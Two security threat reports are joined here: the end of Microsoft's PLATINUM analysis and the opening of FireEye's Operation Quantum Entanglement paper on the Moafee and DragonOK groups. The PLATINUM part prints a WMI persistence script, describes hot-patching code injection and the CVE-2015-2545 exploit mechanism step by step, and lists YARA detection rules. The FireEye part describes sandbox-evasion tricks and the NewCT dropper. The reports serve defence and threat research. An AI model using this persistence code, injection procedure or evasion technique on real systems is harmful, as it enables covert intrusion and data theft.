Salient features of this backdoor include the following: It tries to install itself under several different names within the Program Files directory It has the ability to support plug-ins to modularize functionality It contains a copy of the OpenSSL library to support encryption when sending or receiving data It contains functionality to run a copy of cmd.exe The configuration file is very similar to the original Dipsind family This backdoor class uses multiple methods of achieving persistence, one of which is using WMI /MOF compiled scripts, such as the one shown in Figure 16.
JPIN can target mobile suite appli- cations and extract data from them.
Figure 16.
WMI script used by the Adpupd backdoor to achieve persistence pragma namespace(\\\\.\\ROOT\\cimv2) instance of __Win32Provider as P  Name  adbupdConsumer ClsId  74ba9ce4-fbf1-4097-32b8-34f446f037d8 HostingModel  LocalSystemHost  instance of __EventConsumerProviderRegistration  Provider  P ConsumerClassNames  adbupdConsumer  class adbupdConsumer : __EventConsumer  [key] string Mode  instance of adbupdConsumer as CONSMR  Mode  persistent  instance of __EventFilter as FLT  Name  adbupdFilter Query  SELECT  FROM __InstanceCreationEvent WHERE TargetInstance ISA \Win32_NTLogEvent\ QueryLanguage  WQL  instance of __FilterToConsumerBinding as B  Consumer  CONSMR Filter  FLT  Keyloggers The PLATINUM group has written a few different versions of keyloggers that perform their functions in different ways, most likely to take advantage of different weaknesses in victims computing environments.
The keyloggers can be broadly classified into two groups: those that log keystrokes through raw device input, and user mode keyloggers that use Windows hook interfaces to gather information.
In particular, this second group also has the capability of dumping users credentials using the same technique employed by Mimikatz.
Both groups can set permissions on specific files to Everyone, and work in tandem with the PLATINUM backdoors.
https://technet.microsoft.com/en-us/security/dn920237.aspx Hot patcher One of PLATINUMs most recent and interesting tools is meant to inject code into processes using a variety of injection techniques.
In addition to using several publicly known injection methods to perform this task, it also takes advantage of an obscure operating system feature known as hot patching.
Hot patching is an operating system-supported feature for installing updates without having to reboot or restart a process.
At a high level, hot patching can transparently apply patches to executables and DLLs in actively running processes, which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory.
Instead, the kernel is instructed to perform the injection by invoking NtSetSystemInformation (with an appropriate SystemInformationClass) to apply the patch.
The information about the patch is delivered via a specially crafted DLL that is loaded into the target process.
The hot patching feature originally shipped with Windows Server 2003 and was used to ship 10 patches to Windows Server 2003.
It was removed in Windows 8 and has not been included in subsequent releases of Windows.
PLATINUM appears to believe that enough of their targeted users continue to run the earlier versions of Windows to make the technique a useful tool, at least until early 2017 (see page 20).
The technique PLATINUM uses to inject code via hot patching was first documented by security researchers in 2013.7 Administrator permissions are required for hot patching, and the technique used by PLATINUM does not attempt to evade this requirement through exploitation.
Rather, the components use of the hot patching feature appears to be a way to avoid being detected, as many antivirus solutions monitor non-system processes for the regular injection methods such as CreateRemoteThread.
If the tool fails to inject code using hot patching, it reverts to attempting the other more common code injection techniques into common Windows processes, primarily targeting winlogon.exe, lsass.exe and svchost.exe: CreateRemoteThread NtQueueApcThread RtlCreateUserThread NtCreateThreadEx The hot patching component performs the following steps: 1.
It patches the loader with a proper hot patch to treat injected DLLs with execute page permissions.
This step is required for DLLs loaded from memory (in an attempt to further conceal the malicious code).
7 Alex Ionescu, Hotpatching the Hotpatcher: Stealth File-less DLL Injection, SyScan 2013, https://www.yumpu.com/en/document/view/14255220/alexsyscan13/23.
https://www.yumpu.com/en/document/view/14255220/alexsyscan13/23 2.
The backdoor is injected into svchost using the hot patch API.
Patching the loader is done by creating a section named \knowndlls\mstbl.dll.
This DLL does not reside on disk, but is rather treated as a cached DLL by the session manager.
It then proceeds to write a PE file within that section.
3.
The PE file will have one section (.hotp1) with the hot patch header structure.
This structure contains all the information necessary to perform the patching of function ntdllLdrpMapViewOfSection, which will cause the loader to treat created sections as PAGE_EXECUTE_READWRITE instead of PAGE_READWRITE.
The patch is successfully applied by invoking NtSetSystemInformation.
4.
After the memory permission issue is solved, the injector proceeds to inject the malicious DLL into svchost.
Again, it creates a (now executable) section named knowndlls\fgrps.dll and invokes NtSetSystemInformation, which causes the final payload to be loaded and executed within the target process (svchost).
5.
The malicious hot patching component appears to have an expiration date of January 15, 2017.
After that date, the DLL will no longer perform the injection, but rather execute another PLATINUM implant (C:\Program Files\Windows Journal\Templates\Cpl\jnwmon.exe ua), which may be related to an uninstall routine.
(
The component has not been observed in use since March 9, 2016, which may indicate that PLATINUM has chosen to stop using it earlier than the configured expiration date.)
Miscellaneous Finally, the PLATINUM group also uses small single-purpose applications that duplicate some of the functionality of the backdoors.
A couple of examples are: A stand-alone persistence tool that takes other files as input and ensures persistence across reboots.
A stand-alone loader that runs another executable.
It has some exported functions whose names can be used in DLL files installed as LSA password filters, but such functions are basically empty and there is no known evidence that this tool was ever used in this way.
On the whole, this DLL looks like a test, suggesting that the attackers may have researched and possibly implemented variants of their malware that can be installed as LSA password filters.
Exploit (CVE-2015-2545) CVE-2015-2545 is a use-after-free vulnerability in the embedded PostScript filter of Microsoft Office.8 The exploit was crafted in PostScript and is able to bypass Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP).
8 Microsoft issued Security Bulletin MS15-099 in September 2015 to address the issue.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2015-2545 https://technet.microsoft.com/library/security/ms15-099 This vulnerability allowed the attacker to forge a CAssoc structure, shown in Figure 17, and so also indirectly the PSObjs in the structure.
The PostScript interpreter deciphers the value field (Val) based on the type field (m_type), which are under complete control of the attacker.
Having developed this technique, the attacker will craft and use a combination of file, string, and integer objects to gain a reliable arbitrary code execution.
Figure 17.
Memory layout of CSssoc structure and its embedded PSObjs Root cause:The attacker defined in PostScript a dictionary with three elements, which leads to an allocation of three CAssoc structures in PSTMap.
Within a Forall loop, the last two elements are undefined and a string is initialized.
The PostScript statement results in a deallocation of the last two CAssoc structures and the string gets allocated in the previously freed memory address.
The PostScript-put operand is used to fill the string with data to mimic a CAssoc structure.
By setting the hash table index to 0x3ff, the loop will exit because the hash table at that time has a max-size of 0x400.
Upon exiting the loop, a reference will be returned to the secondary element, which is the forged structure.
Figure 18.
Reusage of deallocated Memory by a forged CAssoc Structure Acquire full memory RW access: The described method is used to craft a PSString object in which the length of the string is set to a maximum value.
As a result, the exploit can use PostScript methods to search for ROP gadgets to dynamically assemble a ROP shellcode.
Figure 19.
Getinterval method of PSString is used to find ROP gadgets The purpose of this approach is to call VirtualProtect to set the pages of the second-stage shellcode as executable.
As a result, DEP and ASLR are bypassed.
Arbitrary code execution: To redirect code execution to the ROP chain, the exploit crafts a PSFile Object in which the vtable is controlled by the attacker.
By calling the bytesavailable method within the PostScript code, arbitrary code execution is achieved.
Identity Although the exact identity of PLATINUM remains unknown, the technical indicators observed so far can help create a profile of the attacker.
Usage of multiple backdoors.
The different backdoors written by or for the group indicate a considerable investment over time.
Research indicates that PLATINUM has used multiple backdoors concurrently at times, which could represent either multiple teams within the activity group performing different campaigns, or different versions of the tools being used against varying victim networks.
Zero day exploits.
PLATINUM has used several zero-day exploits against their victims.
Regardless of whether they researched the exploits themselves or purchased them from independent researchers, the monetary investment required to collect and deploy zero-day exploits at this level is considerable.
Victim geography.
More often than not, research into targeted attacks shows activity groups becoming opportunistic and attacking topical targets that is, targets considered valuable based on the geopolitical events of the year.
PLATINUM has consistently targeted victims within a small set of countries in South and Southeast Asia.
In addition, the victims are consistently associated with a small set of entities that are directly or indirectly connected to governments.
Tools.
Some of the tools used by PLATINUM, such as the port-knocking backdoor, show signs of organized thinking.
PLATINUM has developed or commissioned a number of custom tools to provide the group with access to victim resources.
This behavior exhibits PLATINUMs ability to adapt to victim networks, which is further evidence of the groups considerable resources for development and maintenance.
The monetary in- vestment required to collect and deploy zero-day exploits at this level is considerable.
Any of these traits by themselves could be the work of a single resourceful attacker or a small group of like-minded individuals, but the presence of all of them is a clear indication of a well- resourced, focused, and disciplined group of attackers vying for information from government- related entities.
Guidance PLATINUM is an extremely difficult adversary for targeted organizations to defend against.
It possesses a wide range of technical exploitation capabilities, significant resources for researching or purchasing complicated zero-day exploits, the ability to sustain persistence across victim networks for years, and the manpower to develop and maintain a large number of tools to use within unique victim networks.
Their ability to research their victims prior to targeting them, along with the capability to architect exploits that only work once or for a short period of time, makes it very difficult to investigate or track their activities.
That said, there are steps that organizations can take to reduce the likelihood of PLATINUM conducting successful attacks against their employees and networks.
Take advantage of native mitigations built into Windows 10.
Newer versions of Windows include critical mitigations that render some of PLATINUMs exploits ineffective when deployed.
For example, the summer 2015 attack that used the unusual resume would not have been successful on Windows 10 as-is because of the presence of the Supervisor Mode Execution Prevention (SMEP) mitigation, even without the latest security updates installed.
Even if CVE-2015-2546 affected Windows 10, the exploitation would have required much more technical prowess to succeed ultimately, SMEP makes it more difficult for attackers.
The hooking and in-memory patching techniques used by the malicious hot patcher component are also not effective against newer versions of Windows.
Apply all security updates as soon as they become available.
Microsoft deeply researches each security issue, proactively addresses the flaw, and mitigates the attack surface around the affected component(s).
For example, one zero-day vulnerability exploit (CVE-2015-2545) used by PLATINUM was addressed immediately in September 2015.
Subsequently, in November, Microsoft also released a proactive security update for the same component that ended up mitigating other exploits surfacing in-the-wild after the first attack.
Customers who applied the security updates in November without delay would have been protected against the second wave of exploits.
Such measures of hardening the underlying application happen often.
MS09-017 is yet another example, in which installation of newly available security updates significantly reduced the attack surface.
Consider disabling features, such as EPS or macros, in powerful products like Microsoft Office by using Group Policy.
Not all organizations find the need to enable all features.
For example, in the PLATINUM attack campaign that used CVE-2015-2545, a network in which Office EPS was disabled would not have been affected.
Enterprise networks should segregate high business impact (HBI) data-holding segments from Internet-connected networks.
Sharing of removable media between these air-gapped networks https://support.microsoft.com/en-us/kb/3089664 https://technet.microsoft.com/en-us/library/security/ms15-099.aspx https://technet.microsoft.com/en-us/library/security/ms15-099.aspx https://blogs.technet.microsoft.com/srd/2009/05/12/ms09-017-an-out-of-the-ordinary-powerpoint-security-update/ https://support.microsoft.com/en-us/kb/2479871 should be strictly enforced.
In the case of PLATINUM, such a network architecture would prevent targeted users from accessing third-party email services and thereby granting attackers access to sensitive segments of the organizational network.
Conduct enterprise software security awareness training, and build awareness of malware prevention.
PLATINUM may have used zero-day flaws to compromise victim computers, but doing so required action by the user, who either clicked a link in an email or opened an attachment to allow the attacker to take control of their computer.
Security training can raise awareness and reduce the risk associated with this attack vector.
Institute a strong network firewall and proxy.
Many tools used by attackers are not compatible with network proxies.
In the case of PLATINUMs version of port- knocking, the opening of a UDP port would have been rendered moot if a network firewall was blocking access for inbound packets to the hosts open port.
Enterprise networks should consider blocking certain types of websites that dont serve the interest of the business.
PLATINUM makes extensive use of CCs that use dynamic DNS hosts.
Although such free services can be very useful at a personal level, blocking access to such hosts at a local DNS server can minimize post-compromise activity.
Prepare your network to be forensically ready, so that you can achieve containment and recovery if a compromise occurs.
A forensically ready network that records authentications, password changes, and other significant network events can help identify affected systems quickly.
Make sure that your organizations Internet-facing assets are always running up-to-date applications and security updates, and that they are regularly audited for suspicious files and activity.
A number of researched PLATINUM victims had their public-facing infrastructure compromised through unknown flaws.
Detection indicators Figure 20 consists of detection rules for a number of PLATINUM malware samples to be used with YARA (https://plusvic.github.io/yara/), an open source pattern matching tool for malware detection.
Figure 20.
Detection indicators for PLATINUM malware rule Trojan_Win32_PlaSrv : Platinum  meta: author  Microsoft description  Hotpatching Injector original_sample_sha1  ff7f949da665ba8ce9fb01da357b51415634eaad unpacked_sample_sha1  dff2fee984ba9f5a8f5d97582c83fca4fa1fe131 activity_group  Platinum version  1.0 last_modified  2016-04-12 Apply all security updates as soon as they become available.
https://plusvic.github.io/yara/ strings: Section_name  .hotp1 offset_x59   C7 80 64 01 00 00 00 00 01 00 condition: Section_name and offset_x59  rule Trojan_Win32_Platual : Platinum  meta: author  Microsoft description  Installer component original_sample_sha1  e0ac2ae221328313a7eee33e9be0924c46e2beb9 unpacked_sample_sha1  ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: class_name  AVCObfuscation scrambled_dir   A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 condition: class_name and scrambled_dir  rule Trojan_Win32_Plaplex : Platinum  meta: author  Microsoft description  Variant of the JPin backdoor original_sample_sha1  ca3bda30a3cdc15afb78e54fa1bbb9300d268d66 unpacked_sample_sha1  2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: class_name1  AVCObfuscation class_name2  AVCSetiriControl condition: class_name1 and class_name2  rule Trojan_Win32_Dipsind_B : Platinum  meta: author  Microsoft description  Dipsind Family sample_sha1  09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: frg1  8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ??
??
?? ?
?
89 91 ?
?
07 00 00 frg2  68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA frg3  C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63 condition: frg1 and frg2 and frg3  rule Trojan_Win32_PlaKeylog_B : Platinum  meta: author  Microsoft description  Keylogger component original_sample_sha1  0096a3e0c97b85ca75164f48230ae530c94a2b77 unpacked_sample_sha1  6a1412daaa9bdc553689537df0a004d44f8a45fd activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: hook  C6 06 FF 46 C6 06 25 dasm_engine  80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05 condition: hook and dasm_engine  rule Trojan_Win32_Adupib : Platinum  meta: author  Microsoft description  Adupib SSL Backdoor original_sample_sha1  d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd unpacked_sample_sha1  a80051d5ae124fd9e5cc03e699dd91c2b373978b activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  POLL_RATE str2  OP_TIME(end hour) str3  d:TCP::Enabled str4  s[PwFF_cfgd] str5  Fake_GetDlgItemTextW: value condition: str1 and str2 and str3 and str4 and str5  rule Trojan_Win32_PlaLsaLog : Platinum  meta: author  Microsoft description  Loader / possible incomplete LSA Password Filter original_sample_sha1  fa087986697e4117c394c9a58cb9f316b2d9f7d8 unpacked_sample_sha1  29cb81dbe491143b2f8b67beaeae6557d8944ab4 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3 str2  PasswordChangeNotify condition: str1 and str2  rule Trojan_Win32_Plagon : Platinum  meta: author  Microsoft description  Dipsind variant original_sample_sha1  48b89f61d58b57dba6a0ca857bce97bab636af65 unpacked_sample_sha1  6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  VPLRXZHTU str2  64 6F 67 32 6A 7E 6C str3  Dqpqftk(Wou\Isztk) str4  StartThreadAtWinLogon condition: str1 and str2 and str3 and str4  rule Trojan_Win32_Plakelog : Platinum  meta: author  Microsoft description  Raw-input based keylogger original_sample_sha1  3907a9e41df805f912f821a47031164b6636bd04 unpacked_sample_sha1  960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  0x02 wide str2  [CTR-BRK] wide str3  [/WIN] wide str4  8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B condition: str1 and str2 and str3 and str4  rule Trojan_Win32_Plainst : Platinum  meta: author  Microsoft description  Installer component original_sample_sha1  99c08d31af211a0e17f92dd312ec7ca2b9469ecb unpacked_sample_sha1  dcb6cf7cf7c8fdfc89656a042f81136bda354ba6 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04 str2  4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97 condition: str1 and str2  rule Trojan_Win32_Plagicom : Platinum  meta: author  Microsoft description  Installer component original_sample_sha1  99dcb148b053f4cef6df5fa1ec5d33971a58bd1e unpacked_sample_sha1  c1c950bc6a2ad67488e675da4dfc8916831239a7 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  C6 44 24 ?
?
68 C6 44 24 ?
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4D C6 44 24 ?
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53 C6 44 24 ?
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56 C6 44 24 ?
?
00 str2  OUEMM/EMM str3  85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3 condition: str1 and str2 and str3  rule Trojan_Win32_Plaklog : Platinum  meta: author  Microsoft description  Hook-based keylogger original_sample_sha1  831a5a29d47ab85ee3216d4e75f18d93641a9819 unpacked_sample_sha1  e18750207ddbd939975466a0e01bd84e75327dda activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  [sunknowns] str2  vtfs43/emm str3  33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3 condition: str1 and str2 and str3  rule Trojan_Win32_Plapiio : Platinum  meta: author  Microsoft description  JPin backdoor original_sample_sha1  3119de80088c52bd8097394092847cd984606c88 unpacked_sample_sha1  3acb8fe2a5eb3478b4553907a571b6614eb5455c activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  ServiceMain str2  Startup str3  C6 45 ?
?
68 C6 45 ?
?
4D C6 45 ?
?
53 C6 45 ?
?
56 C6 45 ?
?
6D C6 45 ?
?
6D condition: str1 and str2 and str3  rule Trojan_Win32_Plabit : Platinum  meta: author  Microsoft description  Installer component sample_sha1 6d1169775a552230302131f9385135d385efd166 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97 str2  GetInstanceW str3  8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE condition: str1 and str2 and str3  rule Trojan_Win32_Placisc2 : Platinum  meta: author  Microsoft description  Dipsind variant original_sample_sha1  bf944eb70a382bd77ee5b47548ea9a4969de0527 unpacked_sample_sha1  d807648ddecc4572c7b04405f496d25700e0be6e activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA  str2  VPLRXZHTU str3  d) Command:s str4  0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A condition: str1 and str2 and str3 and str4  rule Trojan_Win32_Placisc3 : Platinum  meta: author  Microsoft description  Dipsind variant original_sample_sha1  1b542dd0dacfcd4200879221709f5fa9683cdcda unpacked_sample_sha1  bbd4992ee3f3a3267732151636359cf94fb4575d activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  BA 6E 00 00 00 66 89 95 ?? ?
?
FF FF B8 73 00 00 00 66 89 85 ?? ?
?
FF FF B9 64 00 00 00 66 89 8D ?? ?
?
FF FF BA 65 00 00 00 66 89 95 ?? ?
?
FF FF B8 6C 00 00 00 str2  VPLRXZHTU str3  8B 44 24 ?
?
8A 04 01 41 32 C2 3B CF 7C F2 88 03 condition: str1 and str2 and str3  rule Trojan_Win32_Placisc4 : Platinum  meta: author  Microsoft description  Installer for Dipsind variant original_sample_sha1  3d17828632e8ff1560f6094703ece5433bc69586 unpacked_sample_sha1  2abb8e1e9cac24be474e4955c63108ff86d1a034 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  8D 71 01 8B C6 99 BB 0A 00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A str2  6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5 str3  C6 44 24 ?
?
64 C6 44 24 ?
?
6F C6 44 24 ?
?
67 C6 44 24 ?
?
32 C6 44 24 ?
?
6A condition: str1 and str2 and str3  rule Trojan_Win32_Plakpers : Platinum  meta: author  Microsoft description  Injector / loader component original_sample_sha1  fa083d744d278c6f4865f095cfd2feabee558056 unpacked_sample_sha1  3a678b5c9c46b5b87bfcb18306ed50fadfc6372e activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  MyFileMappingObject str2  [.3u]  s  s  s [s: wide str3  s\\s\\s wide condition: str1 and str2 and str3  rule Trojan_Win32_Plainst2 : Platinum  meta: author  Microsoft description  Zc tool original_sample_sha1  3f2ce812c38ff5ac3d813394291a5867e2cddcf2 unpacked_sample_sha1  88ff852b1b8077ad5a19cc438afb2402462fbd1a activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  Connected [s:d]... str2  reuse possible: c str3  ]  d\x0a condition: str1 and str2 and str3  rule Trojan_Win32_Plakpeer : Platinum  meta: author  Microsoft description  Zc tool v2 original_sample_sha1  2155c20483528377b5e3fde004bb604198463d29 unpacked_sample_sha1  dc991ef598825daabd9e70bac92c79154363bab2 activity_group  Platinum version  1.0 last_modified  2016-04-12 strings: str1  E0020(d) wide str2  /exit.0,3exit.0,3new.0,3query.0,3rcz.0,3scz/ wide str3  ------ wide str4  ------ wide condition: str1 and str2 and str3 and str4  PLATINUM Targeted attacks in South and  Southeast Asia PLATINUM: Targeted attacks in South and Southeast Asia Adversary profile Methods of attack Technical details Dipsind JPIN adbupd Keyloggers Hot patcher Miscellaneous Exploit (CVE-2015-2545) Identity Guidance Detection indicators ADP31D5.tmp PLATINUM: Targeted attacks in South and Southeast Asia title.pdf PLATINUM Targeted attacks in South and  Southeast Asia
SECURITY REIMAGINED WHITE PAPER OPERATION QUANTUM ENTANGLEMENT Authors: Thoufique Haq, Ned Moran, Sai Vashisht, and Mike Scott FireEye Labs 2  www.fireeye.com FireEye:  Operation Quantum Entanglement CONTENTS Introduction and Prior Research ........................................................................................................................................................................................................................................................ 3 Attack Methodology ........................................................................................................................................................................................................................................................................................................... 4 Attack vector .......................................................................................................................................................................................................................................................................................................................... 4 Decoy Behavior ................................................................................................................................................................................................................................................................................................................ 4 Evasion Techniques ................................................................................................................................................................................................................................................................................................ 5 CPU Core Check ............................................................................................................................................................................................................................................................................................................ 5 Password Protected Documents ........................................................................................................................................................................................................................................7 Large files ......................................................................................................................................................................................................................................................................................................................................... 8 Backdoor and RAT Tools ............................................................................................................................................................................................................................................................................................ 9 NewCT ..................................................................................................................................................................................................................................................................................................................................................... 9 Nflog ........................................................................................................................................................................................................................................................................................................................................................ 15 Sysget/HelloBridge .......................................................................................................................................................................................................................................................................................... 17 Mongall  .......................................................................................................................................................................................................................................................................................................................................... 17 PoisonIvy ..................................................................................................................................................................................................................................................................................................................................... 17 Threat Actor Attribution  ................................................................................................................................................................................................................................................................................. 17 Campaign 1: Moafee  .............................................................................................................................................................................................................................................................................. 17 Campaign 2: DragonOK  ................................................................................................................................................................................................................................................................ 19 Acknowledgements ......................................................................................................................................................................................................................................................................................................... 20 Appendix A: Python Routine to Decode NewCT and CT Beacons ....................................................................................................21 Appendix B: Campaign codes embedded in NewCT/CT ................................................................................................................................................22 Appendix C: Moafee and DragonOK Clusters .........................................................................................................................................................................................23 3  www.fireeye.com FireEye:  Operation Quantum Entanglement In the realm of quantum mechanics, entanglement is a peculiar phenomenon in which a pair of particles takes on the properties of each other, regardless of the distance between them.
Albert Einstein best described this intertwining phenomenon as spooky action at a distance1.
This behavior is analogous to the observed correlation between the two geographically separated attack groups detailed in this paper.
We have uncovered two distinct attack campaigns originating from different geographic regions in China using similar tools, techniques and procedures (TTPs).
In both campaigns, each attack group employed multiple overlapping TTPs to infiltrate their targets, including similar custom built backdoors and remote administration tools (RATs) such as CT/NewCT, Mongall and Nflog (and publicly available RATs such as PoisonIvy) to maintain access to victim networks.
We also observed the use of another custom backdoor called Sysget/HelloBridge by one of the attack groups, which we believe is possibly shared between the campaigns as well.
Both groups were also used a well-known proxy tool named HTRAN, which is an abbreviation for HUC Packet Transmit Tool2 .
This tool proxies connections through intermediate hops and aids the attackers in disguising their true geographical location when interacting with the victim networks.
We also observed both attack groups using similar techniques to evade detection by security products.
In sum, we believe that these groups are from two distinct regions in China and possibly (1) are collaborating , (2) received the same training, (3) have a common toolkit supply chain, or some combination of these three.
The relationship between the two attack groups may be direct or indirect, but based on our current visibility, they seem to have two distinct missions, with each one targeting different industries.
We were able to ascertain the geographical locations of the two attack groups by analyzing their HTRAN infrastructure over a period of time.
We believe a separate third group may also be employing these tools, but we do not have sufficient insight in to this additional group at this time.
The attack group Moafee (named after their command and control infrastructure) appears to operate out of the Guangdong province in China and is known to target the governments and military organizations of countries with national interests in the South China Sea.
The seas in this region have multiple claims of sovereignty and hold high significance, as it is the second busiest sea-lane in the world3  and are known to be rich in resources such as rare earth metals4 , crude oil, and natural gas5.
We have also observed the Moafee group target organizations within the US defense industrial base.
1 http://www.technologyreview.com/view/427174/einsteins-spooky-action-at-a-distance-paradox- 2 http://www.secureworks.com/cyber-threat-intelligence/threats/htran/ 3 http://en.wikipedia.org/wiki/South_China_SeaResources 4 http://www.ifri.org/downloads/ifricanonopedseamanecs.pdf 5 http://www.eia.gov/countries/regions-topics.cfm?fipsscs 4  www.fireeye.com FireEye:  Operation Quantum Entanglement The attack group DragonOK (named after an event name in one of their payload executables 6) appears to operate out of the Jiangsu province in China, and is known to target high-tech and manufacturing companies in Japan and Taiwan.
The propensity to target these industries possibly demonstrates an interest in gaining economic competitive advantage in the region through the acquisition of trade secrets .
Attack Methodology: Attack vector: The primary observed attack vector used by both groups is spear-phishing emails.
The themes--or topicsused in the emails from the DragonOK group were well crafted and highly tailored to the target audience.
We also found this attack group using the appropriate language for each of their targets in the phishing emails such as Japanese and traditional Chinese (mainly used in Taiwan).
The attachments in the email were typically an executable file embedded in a ZIP archive or password-protected Microsoft Office documents.
One such email, shown in Figure 2 and used by the DragonOK group was written in traditional Chinese, and targeted a Taiwanese technology firm Decoy Behavior We observed both attack groups employ decoy documents in order to help deceive potential victims.
The decoy documents are presented to the victim while the malware runs in the background.
One such Japanese-language decoy documents used by the DragonOK group is 6 http://www.fireeye.com/blog/technical/malware-research/2013/02/hackers-targeting-taiwanese-technology-firm.html Figure 1: Two attack groups with common TTPs Taiwan JapanChina Guangdong Province Jiangsu Province U.S. DEFENSE REGIONAL CONFLICTS Advanced cyber attack groups in the worlds largest manufacturing country are taking their expertise in supply chain economics to the online world.
With a production line-like system that enables joint attacks, the sharing of tools and techniques, and unified training, new threat actors and malware are quickly produced to breach international and regional companies alike.
THE ADVANCED THREAT SUPPLY CHAIN How Todays Attacks are Manufactured REGIONAL HIGH-TECH REGIONAL MANUFACTURING POSSIBLE SHARING OF TOOL ACROSS ATTACK GROUPS2 Attacker training courses Tools  techniques sharing centers POSSIBLE ATTACKER SUPPLY CHAIN OR TRAINING REGIMEN1 ATTACK GROUPS SEND MALWARE, SPEARPHISHING EMAILS, COMMAND AND CONTROL TO JAPAN AND TAIWAN, AS WELL AS THE REST OF THE WORLD 3 5  www.fireeye.com FireEye:  Operation Quantum Entanglement shown below.
It appears to be a resume of someone from Kyoto University in Japan who was involved in English language studies.
Evasion Techniques: Both attack groups employ numerous, yet common techniques in an attempt to evade detection by various sandbox environments, antivirus (AV) software, and gateway firewalls.
We observed environment-based evasion, the use of large file sizes, and password-protected documents  each of which are described in the sections below.
CPU Core Check The first-stage payload for RATs called CT/ NewCT used by both the Moafee and DragonOK attack groups employs an evasive CPU core check technique.
The payload attempts to detect the number of processor Figure 2: Email containing 888888 password in body with password- protected document attached 6  www.fireeye.com FireEye:  Operation Quantum Entanglement cores in the running environment, by calling the GetSystemInfo API, which returns a structure with system data, including number of cores.
If only one core is detected, it quits as seen in Figure 5.
This probably is an attempt to detect virtualized environments such as sandboxes, as well as other analysis environments used by reverse engineers, which often tend to be configured with a single core.
We also observed a similar evasion technique within the Sysget/HelloBridge payload Figure 3: Example decoy document presented to the victim during a DragonOK phishing attack 7  www.fireeye.com FireEye:  Operation Quantum Entanglement Figure 4: Structure returned by GetSystemInfo API employed by the DragonOK group.
It invokes a similar call to GetSystemInfo to determine the number of active CPU cores, and the code quits if the system is configured with only one core.
Password Protected Documents: The DragonOK group in particular is known to use password-protected documents delivered as attachments in emails, with the password listed in the contents of the email.
This method probably is used to evade detection by AV software, gateway firewalls and malware sandboxes.
One such example using the password 888888 is shown in Figure 2 and Figure 6, and has been observed by FireEye7  before.
Another similar sample was referenced by the contagio blog8  and used the password 8861.
7 http://www.fireeye.com/blog/technical/malware-research/2013/02/hackers-targeting-taiwanese-technology-firm.html 8 http://contagiodump.blogspot.com/2012/08/cve-2012-0158-generated-8861-password.html Figure 5: Evasion based on CPU core detection 8  www.fireeye.com FireEye:  Operation Quantum Entanglement Figure 6: Password-protected document Large files: In older phishing emails that link to the tools used by DragonOK and Moafee, we observed an implant over 10 megabytes in size.
It was padded with unnecessary null bytes in the overlay section of the file, in order to increase the file size as shown in Figure 7.
This probably was done to evade detection, as many host- based and network-based AV engines do not have the ability to scan large files.
9  www.fireeye.com FireEye:  Operation Quantum Entanglement Figure 7: Large null padded overlay section Backdoor and RAT Tools: CT/NewCT Dropper: This is a first stage payload that  drops and runs the NewCT implant.
The first stage payload (example: 46e55cdf507ef10b11d74dad6af8b94e) attempts to detect the number of CPU cores in the running environment by calling GetSystemInfo as described in the previous section.
If the CPU core check detects more than one core, it implants the NewCT2 RAT in temp\MSSoap.
DLL (some variants will use BurnDCSrv.
DLL and IntelAMTPP.DLL) and executes the written file.
The actual implant is packaged in the resource section of the dropper with a fake bitmap (BMP) header, as shown in Figure 8.
10  www.fireeye.com FireEye:  Operation Quantum Entanglement The implant also creates a registry entry file called named Windows.reg and imports it the contents of this file into the registry, using the command: regedit.exe /s Windows.reg.
These registry entries ensure startup persistence.
